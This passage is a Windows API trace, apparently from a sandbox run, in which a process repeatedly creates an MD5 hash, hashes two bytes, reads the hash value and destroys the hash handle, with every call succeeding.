	[0086.477] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.477] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.477] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.477] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.477] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.477] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.478] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.478] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.478] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.478] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.478] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.478] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.478] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.478] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.478] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.478] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.478] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.478] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.478] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.478] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.479] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.479] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.479] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.479] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.479] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.479] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.479] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.479] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.479] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.479] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.479] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.479] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.480] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.480] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.480] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.480] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.480] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.480] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.480] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.480] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.480] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.480] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.480] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.480] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.481] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.481] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.481] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.481] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.481] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.481] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.481] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.481] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.481] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.481] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.481] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.481] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.481] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.481] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.481] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.481] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.482] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.482] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.482] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.482] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.482] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.482] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.482] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.482] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.482] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.482] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.482] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.482] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.482] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.482] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.483] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.483] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.483] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.483] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.483] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.483] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.483] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.483] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.483] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.483] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.483] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.483] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.483] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.483] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.483] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.484] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.484] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.484] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.484] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.484] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.484] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.484] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.484] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.484] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.484] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.484] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.484] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.485] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.485] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.485] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.485] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.485] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.485] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.485] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.485] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.485] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.485] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.485] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.485] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.485] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.486] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.486] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.486] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.486] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.486] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.486] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.486] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.486] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.486] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.486] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.486] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.486] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.487] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.487] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.487] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.487] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.487] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.487] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.487] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.487] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.487] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.487] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.487] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.487] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.487] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.487] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.488] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.488] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.488] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.488] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.488] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.488] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.488] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.488] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.488] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.488] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.488] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.488] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.488] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.488] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.489] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.489] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.489] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.489] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.489] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.489] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.489] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.489] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.489] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.489] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.489] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.489] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.489] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.489] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.489] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.490] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.490] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.490] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.490] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.490] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.490] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.490] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.490] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.490] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.490] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.490] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.490] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.490] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.490] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.491] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.491] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.491] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.491] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.491] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.491] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.491] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.491] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.491] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.491] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.491] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.491] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.491] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.492] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.492] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.492] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.492] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.492] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.492] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.492] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.492] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.492] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.492] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.492] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.492] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
